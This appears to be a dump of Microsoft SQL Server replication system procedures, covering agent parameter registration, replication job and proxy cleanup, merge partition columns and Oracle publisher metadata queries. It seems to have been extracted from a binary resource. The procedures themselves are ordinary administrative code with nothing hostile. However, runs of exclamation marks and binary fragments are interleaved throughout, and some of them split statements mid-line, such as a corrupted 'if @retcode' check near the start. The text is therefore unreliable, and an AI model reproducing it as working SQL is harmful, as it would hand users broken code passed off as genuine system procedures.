    exec @retcode = sys.sp_createagentparameter @distribution_type, N'QuotedIdentifier', ' ', NULL, NULL
    if @retcode!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(X74vS=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type, N'UseOledbStreaming', NULL, NULL, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type, N'OledbStreamThreshold', 32768, 400, 1048576
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @distribution_type, N'SubscriptionStreams', 1, 0, 64
    if @retcode=1 goto CLEANUP
    -- add params for merge
    exec @retcode = sys.sp_createagentparameter @merge_type,	N'StartQueueTimeout', 0, NULL, 300
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,	N'PollingInterval', 60, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,	N'ValidateInterval', 60, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,	N'LoginTimeout', 15, 1, 65534
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,	N'QueryTimeout', 300, 1, 65534
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,	N'MaxUploadChanges', 0, NULL, 300
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,	N'MaxDownloadChanges', 0, NULL, 300
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,	N'UploadGenerationsPerBatch', 50, 1, 2000
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,	N'DownloadGenerationsPerBatch', 50, 1, 2000
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,	N'UploadReadChangesPerBatch', 100, 1, 2000
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,	N'DownloadReadChangesPerBatch', 100, 1, 2000
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,	N'UploadWriteChangesPerBatch', 100, 1, 2000
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,	N'DownloadWriteChangesPerBatch', 100, 1, 2000
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,	N'Validate', 0, 0, 3
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,	N'FastRowCount', 1, 0, 1
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,  N'HistoryVerboseLevel', 2, 0, 3
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,  N'ChangesPerHistory', 100, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,  N'BcpBatchSize', 100000, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,  N'NumDeadlockRetries', 5, 1, 100
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,  N'KeepAliveMessageInterval', 300, 30, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,  N'SrcThreads', 1, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,  N'DestThreads', 1, 1, NULL
    if @retcode=1 goto CLEANUP
    --exec @retcode = sys.sp_createagentparameter @merge_type,  N'UseInprocLoader', 0, 0, 1
    --if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,  N'MetadataRetentionCleanup', 1, 0, 1
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,  N'ParallelUploadDownload', 0, 0, 1
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type,  N'GenerationChangeThreshold', 1000, 0, 100000
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'Output', NULL, NULL, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'OutputVerboseLevel', 0, 0, 2
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'ExchangeType', 3, 1, 3
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'FileTransferType', 0, 0, 1
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'InteractiveResolution', 0, 0, 1
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'MaxBcpThreads', null, 1, null
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'PacketSize', null, 1, null
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'UseInprocLoader', 0, 0, 1
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'ProcessMessagesAtPublisher', 0, 0, 1
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'ProcessMessagesAtSubscriber', 0, 0, 1
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'SyncToAlternate', 0, 0, 1
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'QueueSizeMultiplier', null, 1, null
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'AltSnapshotFolder', null, null, null
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'DynamicSnapshotLocation', null, null, null
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'InputMessageFile', null, null, null
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'OutputMessageFile', null, null, null
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'InterruptOnMessagePattern', null, null, null
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'PauseOnMessagePattern', null, null, null
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'PauseTime', null, 1, null
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'PublisherFailoverPartner', null, null, null
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'ForceEnumerationAsPal', 0, 0, 1
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @merge_type, N'MakeGenerationInterval', 1, 0, null
    if @retcode=1 goto CLEANUP
    
    -- add params for qreader
    exec @retcode = sys.sp_createagentparameter @qreader_type,  N'ResolverState', 1, 1, 3
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @qreader_type,  N'SQLQueueMode', 0, 0, 2
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @qreader_type,  N'HistoryVerboseLevel', 1, 0, 3
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @qreader_type,  N'PollingInterval', 5, 1, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @qreader_type,  N'LoginTimeout', 15, 1, 65534
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @qreader_type,  N'QueryTimeout', 1800, 1, 65534
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @qreader_type, N'Output', NULL, NULL, NULL
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @qreader_type, N'OutputVerboseLevel', 1, 0, 2
    if @retcode=1 goto CLEANUP
    exec @retcode = sys.sp_createagentparameter @qreader_type, N'PublisherFailoverPartner', null, null, null
    if @retcode=1 goto CLEANUP
    
    -- all done
    return 0
CLEANUP:
    --Call to sp_createagentparameter from msdb.dbo.MSagentparameterlist failed. Not creating any more parameters.
  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<M80\V 8create procedure sys.sp_MSdrop_repl_job_unsafe
(
	@job_name		sysname = NULL,
	@job_id 		binary(16) = NULL,
	@job_step_uid	uniqueidentifier = NULL
)
WITH EXECUTE AS 'dbo'
AS
BEGIN
	DECLARE @retcode			int,
			@command			nvarchar(4000),
			@credential 		sysname,
			@proxy_id			int,
			@subsystem_id		int,
			@flags				int,
			@sid				varbinary(85),
			@login				sysname
	
	SELECT @command				= NULL,
			@credential			= NULL,
			@proxy_id 			= NULL,
			@subsystem_id 		= NULL,
			@flags 				= NULL,
			@sid 				= NULL,
			@login				= NULL

    -- Return immediately if this is running on SQLExpress or SQLWeb
    IF (sys.fn_MSrepl_editionid () in (22, 40))
        RETURN 0
        
	BEGIN TRANSACTION tr_drop_repl_job_internal
	SAVE TRANSACTION tr_drop_repl_job_internal

	SELECT @credential = sc.name, 
			@proxy_id = sp.proxy_id,
			@subsystem_id = ss.subsystem_id,
			@flags = spl.flags,
			@sid = spl.sid
		FROM msdb.dbo.sysjobs_view as sjv 
			JOIN msdb.dbo.sysjobsteps as sjs 
				ON sjv.job_id = sjs.job_id
			JOIN msdb.dbo.sysproxies sp
				ON sjs.proxy_id = sp.proxy_id
			JOIN msdb.dbo.syssubsystems ss
				ON sjs.subsystem = ss.subsystem
			JOIN sys.credentials sc
				ON sp.credential_id = sc.credential_id
			-- left join since in sysadmin user case no proxylogin will be found
			LEFT JOIN msdb.dbo.sysproxylogin spl
				ON sp.proxy_id = spl.proxy_id
		WHERE sjv.master_server = 0
			AND UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
			AND (sjv.job_id = @job_id
					OR sjv.name = @job_name)
			AND sjs.step_uid = @job_step_uid
	IF @@ERROR <> 0 or @retcode <> 0
		GOTO UNDO

	EXEC @retcode = msdb.dbo.sp_delete_job @job_name = @job_name, 
											@job_id = @job_id
	IF @@ERROR <> 0 or @retcode <> 0
		GOTO UNDO

	-- we will not drop the proxy, proxy mappings etc if there's 
	-- still at least 1 job that's still using the given proxy id
	IF NOT EXISTS (SELECT *
					FROM msdb.dbo.sysjobsteps
					WHERE proxy_id = @proxy_id)
	BEGIN
		IF @proxy_id IS NOT NULL
		BEGIN
			CREATE TABLE #enm_login_for_proxy (proxy_id int, proxy_name sysname, flags int, name sysname NULL, sid varbinary(85), principal_id int NULL)
			
			INSERT INTO #enm_login_for_proxy
				EXEC msdb.dbo.sp_enum_login_for_proxy @proxy_id = @proxy_id

			SELECT @login = name
				FROM #enm_login_for_proxy
				WHERE proxy_id = @proxy_id 
					AND @sid IS NOT NULL
					AND sid = @sid

			DROP TABLE #enm_login_for_proxy
				
			IF @login IS NOT NULL
			BEGIN
				EXEC @retcode = msdb.dbo.sp_revoke_login_from_proxy @name = @login,
																	@proxy_id = @proxy_id
				IF @@ERROR <> 0 OR @retcode <> 0
					GOTO UNDO
			END

			IF @subsystem_id IS NOT NULL
				AND EXISTS (SELECT *
								FROM msdb.dbo.sysproxysubsystem
								WHERE proxy_id = @proxy_id
									AND subsystem_id = @subsystem_id)
			BEGIN
				EXEC @retcode = msdb.dbo.sp_revoke_proxy_from_subsystem @subsystem_id = @subsystem_id,
																		@proxy_id = @proxy_id
				IF @@ERROR <> 0 OR @retcode <> 0
					GOTO UNDO
			END

			IF EXISTS (SELECT *
						FROM msdb.dbo.sysproxies
						WHERE proxy_id = @proxy_id)
			BEGIN
				EXEC @retcode = msdb.dbo.sp_delete_proxy @proxy_id = @proxy_id
				IF @@ERROR <> 0 OR @retcode <> 0
					GOTO UNDO
			END
		END
		
		IF @credential IS NOT NULL
			AND EXISTS (SELECT *
							FROM sys.credentials
							WHERE name = @credential)
		BEGIN
			SELECT @command = N'DROP CREDENTIAL ' + QUOTENAME(@credential)

			EXEC(@command)
			IF @@ERROR <> 0 OR @retcode <> 0
				GOTO UNDO
		END
	END
	
	COMMIT TRANSACTION tr_drop_repl_job_internal

	RETURN 0
UNDO:
	ROLLBACK TRANSACTION tr_drop_repl_job_internal
	COMMIT TRANSACTION 
	
	RETURN 1
END
0le 8CREATE PROCEDURE sys.sp_MScheck_Jet_Subscriber
(
    @subscriber				sysname,
    @is_jet					int OUTPUT,
    @Jet_datasource_path	sysname OUTPUT
)
AS
begin
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    select @is_jet = 0
    IF EXISTS (select * from master.dbo.sysservers where UPPER(srvname) = UPPER(@subscriber)
                    and upper(providername) = 'MICROSOFT.JET.OLEDB.4.0')
    begin
    	select @is_jet = 1
    	select @Jet_datasource_path = datasource from master.dbo.sysservers where UPPER(srvname) = UPPER(@subscriber)
    end
    return (0)
end
0m 8
-- Requires Certificate signature for catalog access
create procedure sys.sp_MSadd_merge_partition_column (@function_name sysname) as
begin

    declare @column_name sysname
            , @index_name nvarchar(258)
            , @function_name_with_parens nvarchar(260)
            , @quoted_column_name nvarchar(260)

	--
	-- Max size for function name is 98 to fit in @index_name 
	--
	if len(ltrim(rtrim(@function_name))) > 98
		return 1

    select @column_name = ltrim(rtrim(@function_name)) + '_FN'
    select @index_name = 'ncMSmerge_partition_groups_' + @column_name
    select @index_name = quotename(@index_name)
    select @function_name_with_parens = ltrim(rtrim(@function_name)) + '()'

    -- We do not allow two or more functions of the same name. So, do a case-insensitive comparison 
    -- of the corresponding column name.
    if not exists (select * from sys.columns where UPPER(name) = UPPER(@column_name) and object_id = OBJECT_ID('dbo.MSmerge_partition_groups'))
    begin

        declare @cmd nvarchar(max), @colname sysname, @typestring nvarchar(4000)
        
        select @cmd = N'
        declare @objid int 
        select @function_name_with_parens as function_return_value into #temp_function_return_value
        select @objid = OBJECT_ID(''tempdb..#temp_function_return_value'')
        exec sys.sp_MSget_type_wrapper @objid, 1, @colname OUTPUT, @typestring OUTPUT
        drop table #temp_function_return_value'

        exec sys.sp_executesql @cmd, N'@function_name_with_parens nvarchar(260), @colname sysname OUTPUT, @typestring nvarchar(4000) OUTPUT', @function_name_with_parens, @colname OUTPUT, @typestring OUTPUT

        if (@typestring is null or rtrim(ltrim(@typestring)) = ' ')
        begin
            -- raiserror
            return 1
        end
        
        select @quoted_column_name = quotename(@column_name)
        exec ('alter table dbo.MSmerge_partition_groups add ' + @quoted_column_name + ' ' + @typestring + ' NULL')
        exec ('create index ' + @index_name + ' on dbo.MSmerge_partition_groups(' + @quoted_column_name + ')')
    end

    return 0

end
0z@ 8-- updates info about received generations, or inserts a corresponding row
create procedure sys.sp_MSupdaterecgen
        @altrepid uniqueidentifier,
        @altrecguid uniqueidentifier,
        @altrecgen bigint
as

        -- Security check
        declare @retcode int
        exec @retcode = sys.sp_MSrepl_PAL_rolecheck 
        if (@retcode <> 0) or (@@error <> 0)
                return 1

        update dbo.sysmergesubscriptions
                set recguid = @altrecguid, recgen = @altrecgen
                where subid = @altrepid and 
                          (recgen < @altrecgen or recgen is null)

        return (0)
0o 8create function sys.fn_MStestbit (@bitmap varbinary(128), @colidx smallint)
returns bit
as
begin
	-- size of bitmap is 1024 bits
	if @colidx < 1 or @colidx > 1024 return 0

	declare @byte binary(1)
	declare @mask tinyint
	declare @idxinbyte tinyint
	declare @shift tinyint

	set @byte= substring(@bitmap, (@colidx-1)/8+1, 1)
	set @shift= @colidx%8
	if @shift = 0
		set @shift= 7
	else
		set @shift= @shift -1
	set @mask= power(2, @shift)
	return @byte & @mask
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!^e`<5-c%)0$N 8
CREATE PROCEDURE sys.sp_ORAenumpublishertables
(
    @publisher sysname
)
AS
BEGIN
    DECLARE @publisher_dbms     sysname
    DECLARE @publisher_version  sysname
    DECLARE @InsColumnList      nvarchar(2000)
    DECLARE @SelectColumnList   nvarchar(2000)
    DECLARE @retcode            int
    DECLARE @pubid              int

    SET NOCOUNT ON

    -- Get publisher ID
    SELECT @pubid = srvid
    FROM    master.dbo.sysservers
    WHERE   UPPER(srvname) = UPPER(@publisher)
    
    IF @pubid IS NULL
    BEGIN
        RAISERROR(21600, 16, -1, @publisher)
        RETURN (1)
    END

	-- Set publisher DBMS and version
	SELECT	@publisher_dbms		= 'ORACLE'

	EXEC @retcode = sys.sp_IHgetversion	@publisher	= @publisher,
										@version	= @publisher_version OUTPUT

	IF @retcode != 0 OR @@ERROR != 0
	BEGIN
		RETURN (1)
	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	CREATE TABLE #oratables
	(
		table_owner	sysname collate database_default,
		table_name	sysname collate database_default,
		has_pk      bit
	)
	
	-- Master table list
	SELECT @InsColumnList    = 'table_owner, table_name, has_pk'
	SELECT @SelectColumnList = '*'

    INSERT INTO #hquery(cmd) VALUES('SELECT OWNER, TABLE_NAME, DECODE(COUNT(*), 1, 0, 2, 1) ')
    INSERT INTO #hquery(cmd) VALUES('FROM (SELECT T.OWNER, T.TABLE_NAME FROM ALL_ALL_TABLES T ')
    INSERT INTO #hquery(cmd) VALUES('WHERE T.NESTED = ''NO'' AND T.TABLE_NAME NOT LIKE ''HREPL_%'' ')
    INSERT INTO #hquery(cmd) VALUES('AND T.OWNER NOT IN (SELECT * FROM HREPL_SchemaFilter) ')
    INSERT INTO #hquery(cmd) VALUES('AND NOT ( T.OWNER = USER ) ')

    IF @publisher_version NOT LIKE N'8.%' AND @publisher_version NOT LIKE N'9.%'
	INSERT INTO #hquery(cmd) VALUES('AND T.DROPPED = ''NO'' ')

    IF @publisher_version NOT LIKE N'8.%'
	BEGIN
		INSERT INTO #hquery(cmd) VALUES('UNION ALL ')
		INSERT INTO #hquery(cmd) VALUES('SELECT AC.OWNER, AC.TABLE_NAME ')
		INSERT INTO #hquery(cmd) VALUES('FROM ALL_CONSTRAINTS AC, ALL_INDEXES IDX')

		-- If @publisher_version is neither 8 nor 9, make sure that the table
		-- has not been dropped
		IF @publisher_version NOT LIKE N'9.%'
		    INSERT INTO #hquery(cmd) VALUES(', ALL_ALL_TABLES T')

		-- Primary key with valid index
		INSERT INTO #hquery(cmd) VALUES(' WHERE CASE WHEN AC.INDEX_OWNER IS NOT NULL THEN AC.INDEX_OWNER ELSE AC.OWNER END = IDX.OWNER ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.INDEX_NAME = IDX.INDEX_NAME ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.CONSTRAINT_TYPE = ''P'' ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.VALIDATED = ''VALIDATED'' ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.STATUS = ''ENABLED'' ')
		INSERT INTO #hquery(cmd) VALUES('AND IDX.STATUS = ''VALID'' ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.TABLE_NAME NOT LIKE ''HREPL_%'' ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.OWNER NOT IN (SELECT * FROM HREPL_SchemaFilter) ')
		INSERT INTO #hquery(cmd) VALUES('AND NOT ( AC.OWNER = USER ) ')

		IF @publisher_version NOT LIKE N'9.%'
		BEGIN
		    INSERT INTO #hquery(cmd) VALUES('AND AC.TABLE_NAME = T.TABLE_NAME ')
		    INSERT INTO #hquery(cmd) VALUES('AND CASE WHEN AC.INDEX_OWNER IS NOT NULL THEN AC.INDEX_OWNER ELSE AC.OWNER END = T.OWNER ')
		    INSERT INTO #hquery(cmd) VALUES('AND T.DROPPED = ''NO'' ')
		END
	END
	ELSE
	BEGIN
		-- Primary key index is no longer being checked for Oracle 8.
		-- The Oracle 8 version of all_constraints does not explicitly identify
		-- the name of the primary key index, and since the constraint name and
		-- index name need not be the same, this check has been dropped.
		-- This is fairly safe, since the index cannot be dropped while it is
		-- being used to enforce a primary key constraint.

		INSERT INTO #hquery(cmd) VALUES('UNION ALL ')
		INSERT INTO #hquery(cmd) VALUES('SELECT AC.OWNER, AC.TABLE_NAME ')
		INSERT INTO #hquery(cmd) VALUES('FROM ALL_CONSTRAINTS AC ')
		INSERT INTO #hquery(cmd) VALUES('WHERE AC.CONSTRAINT_TYPE = ''P'' ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.VALIDATED = ''VALIDATED'' ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.STATUS = ''ENABLED'' ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.TABLE_NAME NOT LIKE ''HREPL_%'' ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.OWNER NOT IN (SELECT * FROM HREPL_SchemaFilter) ')
		INSERT INTO #hquery(cmd) VALUES('AND NOT ( AC.OWNER = USER ) ')
	END
    INSERT INTO #hquery(cmd) VALUES(') GROUP BY OWNER, TABLE_NAME')

    EXEC @retcode = sp_ORAremotequery 
					@Server				= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable			= '#oratables',
					@InsColumnList		= @InsColumnList

	IF @@ERROR <> 0 OR @retcode <> 0
	BEGIN
		RAISERROR (21781, 16, -1)
		RETURN (@retcode)
	END

	-- Generate return set:
	INSERT INTO #publishertables
			-- owner
	SELECT	OT.table_owner,
			-- name
			OT.table_name,
			-- has_valid_pk
            OT.has_pk,
            -- TODO: Remove after UI removes references
            -- has_unique_with_nullable
            CONVERT(bit, 0),
			-- is_published
			CONVERT(bit, CASE WHEN (ihpt.table_id IS NOT NULL) THEN 1 ELSE 0 END),
            -- TODO: Remove after UI removes references
			-- has_explicit_select_grant
            CONVERT(bit, 1),
            -- is_tranpublished
			CONVERT(bit, CASE
					WHEN EXISTS (
							SELECT	NULL
							FROM	dbo.IHarticles iha with (index (idx_IHarticles_tableid) ),
								dbo.IHpublications ihpub with (index (idx_IHpublications_pubid) )
        						WHERE   iha.table_id = ihpt.table_id 
							AND	iha.publication_id = ihpub.pubid 
         						AND     ihpub.repl_freq = 0)
     					THEN 1 ELSE 0 END)
	FROM	#oratables OT LEFT OUTER JOIN dbo.IHpublishertables ihpt
			ON	OT.table_owner = ihpt.owner
			AND	OT.table_name = ihpt.name
			AND	ihpt.publisher_id = @pubid
	ORDER BY [owner], [name]

	RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<n6NeS0\1@ 08
CREATE PROCEDURE sys.sp_ORAenumtablecolumninfo
(
	@publisher	sysname,
	@owner		sysname,
	@tablename	sysname
)
AS
BEGIN
    DECLARE @publisher_dbms		sysname
    DECLARE @publisher_version	sysname
	DECLARE	@InsColumnList		nvarchar(2000)
	DECLARE	@SelectColumnList	nvarchar(2000)
    DECLARE @retcode			int

	SET NOCOUNT ON

	-- Set publisher DBMS and version
	SELECT	@publisher_dbms		= 'ORACLE'

	EXEC @retcode = sys.sp_IHgetversion	@publisher	= @publisher,
										@version	= @publisher_version OUTPUT

	IF @retcode != 0 OR @@ERROR != 0
	BEGIN
		RETURN (1)
	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- Define temp metadata table
  	CREATE TABLE #publishercolumns
    (
		name			sysname collate database_default,
		column_ordinal	int,
		type			sysname collate database_default,
		length			bigint,
		prec			bigint,
		scale			int,
		isnullable		bit,
		ispkcol			bit
	)

    CREATE TABLE #publisherpkcolumns
    (
        name  sysname collate database_default
    )
	
	-- populate a temp table with a list of table columns from the Oracle publisher
	SELECT @InsColumnList    = 'name, column_ordinal, type, length, prec, scale, isnullable, ispkcol'
	SELECT @SelectColumnList = 'COLUMN_NAME, COLUMN_ID, DATA_TYPE, DATA_LENGTH, PREC, DATA_SCALE, NULLABLE, 0'

	INSERT INTO #hquery(cmd) VALUES('SELECT ATC.COLUMN_NAME AS COLUMN_NAME,ATC.COLUMN_ID AS COLUMN_ID,')
	INSERT INTO #hquery(cmd) VALUES('ATC.DATA_TYPE AS DATA_TYPE,')
	INSERT INTO #hquery(cmd) VALUES('DECODE(ATC.CHAR_COL_DECL_LENGTH,NULL,ATC.DATA_LENGTH,ATC.CHAR_COL_DECL_LENGTH) AS DATA_LENGTH,')
	INSERT INTO #hquery(cmd) VALUES('ATC.DATA_PRECISION AS PREC,')
	INSERT INTO #hquery(cmd) VALUES('ATC.DATA_SCALE AS DATA_SCALE,DECODE(ATC.NULLABLE,''Y'',1,0) AS NULLABLE ')
	INSERT INTO #hquery(cmd) VALUES('FROM ALL_TAB_COLUMNS ATC WHERE ATC.OWNER = ' + QUOTENAME(@owner, ''''))
	INSERT INTO #hquery(cmd) VALUES('AND ATC.TABLE_NAME=' + QUOTENAME(@tablename, ''''))

	EXEC @retcode = sp_ORAremotequery 
					@Server				= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable			= '#publishercolumns',
					@InsColumnList		= @InsColumnList

	IF @@ERROR <> 0 OR @retcode <> 0
	BEGIN
		RAISERROR (21781, 16, -1)
		RETURN (@retcode)
	END

	-- populate a temp table with a list of primary key columns from the Oracle publisher
    TRUNCATE TABLE #hquery
	SELECT @InsColumnList    = 'name'
	SELECT @SelectColumnList = 'COLUMN_NAME'

    INSERT INTO #hquery(cmd) VALUES('SELECT ACC.COLUMN_NAME AS COLUMN_NAME ')
	INSERT INTO #hquery(cmd) VALUES('FROM ALL_CONSTRAINTS AC, ALL_CONS_COLUMNS ACC ')
	INSERT INTO #hquery(cmd) VALUES('WHERE AC.CONSTRAINT_NAME = ACC.CONSTRAINT_NAME ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.OWNER = ACC.OWNER AND AC.TABLE_NAME = ACC.TABLE_NAME ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.CONSTRAINT_TYPE = ''P'' ')
    INSERT INTO #hquery(cmd) VALUES('AND AC.OWNER = ' + QUOTENAME(@owner, '''') + ' ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.TABLE_NAME=' + QUOTENAME(@tablename, ''''))	

	EXEC @retcode = sp_ORAremotequery 
					@Server				= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable			= '#publisherpkcolumns',
					@InsColumnList		= @InsColumnList

	IF @@ERROR <> 0 OR @retcode <> 0
	BEGIN
		RAISERROR (21781, 16, -1)
		RETURN (@retcode)
	END

    -- Mark pk columns
    UPDATE  #publishercolumns
    SET     ispkcol = CONVERT(bit, 1)
    FROM    #publishercolumns pc,
            #publisherpkcolumns pkc
    WHERE   pc.name = pkc.name

	-- Join column info with data type mappings
	SELECT	pc.name as [column_name],
			pc.column_ordinal as [column_ordinal],
			sys.fn_ORAsourceinfo(pc.type, pc.length, pc.prec, pc.scale, pc.isnullable) as [source_info],
			hdm.destination_type as [dest_datatype],
			case hdm.destination_length
				when -1 then pc.length
				else hdm.destination_length
			end as [dest_length],
			case hdm.destination_precision
				when -1 then
					case
						when pc.scale > pc.prec then pc.scale
						else pc.prec
					end
				else hdm.destination_precision
			end as [dest_precision],
			case hdm.destination_scale
				when -1 then pc.scale
				else hdm.destination_scale
			end as [dest_scale],
			case
                when hdm.destination_nullable = 0 then convert(bit, 0)
                else convert(bit, pc.isnullable)
            end as [dest_nullable],
			convert(bit, hdm.is_default) as [is_default],
			convert(bit, pc.ispkcol) as [is_pkcol],
			CONVERT(bit, 1) as [is_valid],
			hdm.dataloss as [dataloss],
			hdm.mapping_id as [mapping_id]
	FROM	#publishercolumns pc,
			sys.fn_helpdatatypemap
			(
				@publisher_dbms,
				@publisher_version,
				'%',
				'MSSQLSERVER',
				NULL,
				'%',
				0
			) hdm
	WHERE	hdm.source_type collate database_default = sys.fn_ORAgetbasetype(pc.type)
	  AND	(
				(hdm.source_length_min is null and hdm.source_length_max is null and pc.length is null) or
				(hdm.source_length_min is not null and
				 hdm.source_length_max is not null and
